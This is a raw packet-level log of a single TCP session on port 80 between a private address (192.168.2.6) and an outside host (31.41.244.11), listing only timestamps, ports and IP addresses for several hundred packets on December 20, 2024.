Dec 20, 2024 17:43:23.168637991 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.169646978 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.169708014 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.169780016 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.169826031 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.170912981 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.170969963 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.171135902 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.171188116 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.172102928 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.172116041 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.172158957 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.173468113 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.173526049 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.173564911 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.173605919 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.174500942 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.174561024 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.174766064 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.174812078 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.175587893 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.175633907 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.175790071 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.175833941 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.176760912 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.176814079 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.176831961 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.176877975 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.178025961 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.178076982 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.180136919 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.180221081 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.180243969 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.180257082 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.180290937 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.180439949 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.180453062 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.180486917 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.181657076 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.181734085 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.182014942 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.182060957 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.182746887 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.182797909 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.183764935 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.183814049 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.183917046 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.183929920 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.183963060 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.183986902 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.185319901 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.185374022 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.185615063 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.185661077 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.186229944 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.186275959 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.186352015 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.186393976 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.187880993 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.187937021 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.187963009 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.187978029 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.189089060 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.189109087 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.189141989 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.189153910 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.190584898 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.190634966 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.190927029 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.190975904 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.190987110 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.190999985 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.191032887 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.192162991 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.192209959 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.192491055 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.192536116 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.193494081 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.193543911 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.193629980 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.193679094 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.194574118 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.194622040 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.194962025 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.195013046 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.195703983 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.195755005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.195815086 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.195890903 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.196979046 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.197032928 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.197137117 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.197181940 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.198193073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.198219061 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.198241949 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.198254108 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.199357033 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.199404001 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.199551105 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.199589968 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.200447083 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.200495005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.200520992 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.200565100 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.202171087 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.202183008 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.202231884 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.205182076 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.205233097 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.205250025 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.205276012 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.205595970 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.205643892 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.205748081 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.205790997 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.206265926 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.206316948 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.206460953 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.206506968 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.207066059 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.207077980 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.207117081 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.207585096 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.207633972 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.207696915 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.207740068 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.208774090 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.208827972 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.209177017 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.209223032 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.209955931 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.210002899 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.210218906 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.210262060 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.211200953 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.211252928 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.211350918 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.211396933 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.212424040 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.212480068 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.212596893 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.212645054 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.213601112 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.213654995 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.213936090 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.213982105 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.214883089 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.214940071 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.215559959 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.215607882 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.215867996 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.215914011 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.215993881 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.216034889 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.217051029 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.217101097 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.217235088 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.217278957 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.218224049 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.218295097 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.218324900 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.218370914 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.219441891 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.219571114 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.350784063 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.350833893 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.350933075 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.350975990 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.351336956 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.351396084 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.351656914 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.351702929 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.352751970 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.352766037 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.352802038 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.353873968 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.353924036 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.354051113 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.354094982 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.355051994 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.355101109 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.355443001 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.355489969 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.356142044 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.356192112 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.356306076 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.356350899 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.357299089 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.357348919 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.357656002 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.357702017 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.358506918 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.358556986 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.358692884 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.358733892 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.359711885 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.359759092 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.360069990 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.360116959 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.361032009 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.361044884 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.361084938 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.361098051 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.362128019 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.362139940 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.362179995 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.363256931 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.363301992 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.363420963 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.363468885 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.364397049 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.364439964 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.364734888 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.364778042 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.365665913 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.365679026 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.365710974 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.365724087 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.366730928 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.366779089 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.366897106 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.366941929 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.367954016 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.367996931 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.368084908 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.368130922 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.369126081 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.369179964 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.369498968 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.369546890 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.370471954 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.370526075 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.370645046 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.370687008 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.371658087 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.371678114 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.371711969 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.371731043 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.372828007 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.372889042 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.372984886 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.373032093 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.373970985 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.373985052 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.374033928 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.374047041 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.375163078 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.375227928 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.375298023 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.375339031 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.376308918 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.376370907 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.376461983 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.376506090 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.377454042 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.377547979 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.377568007 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.377763033 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.378794909 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.378874063 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.378947973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.378995895 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.379858017 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.379924059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.380026102 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.380072117 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.381176949 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.381191969 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.381252050 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.381629944 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.381642103 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.381689072 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.381720066 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.382266045 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.382333040 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.382424116 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.382473946 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.383471012 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.383539915 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.383584023 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.383635044 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.384654045 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.384712934 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.385324001 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.385375023 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.385823965 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.385871887 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.386046886 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.386085987 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.386965036 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.387012005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.387234926 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.387274027 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.388190985 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.388242006 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.388360023 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.388401985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.389520884 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.389601946 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.389607906 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.389641047 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.390543938 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.390590906 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.390707970 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.390749931 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.391745090 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.391798973 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.392041922 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.392082930 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.393023014 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.393035889 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.393075943 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.393090010 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.394097090 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.394146919 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.394179106 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.394222021 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.395281076 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.395333052 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.395716906 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.395762920 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.396481037 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.396533966 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.396647930 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.396691084 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.397650957 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.397700071 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.398039103 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.398083925 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.398853064 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.398901939 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.399228096 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.399271011 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.399993896 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.400043011 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.400449991 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.400490999 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.401180029 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.401228905 CET	49732	80	192.168.2.6	31.41.244.11
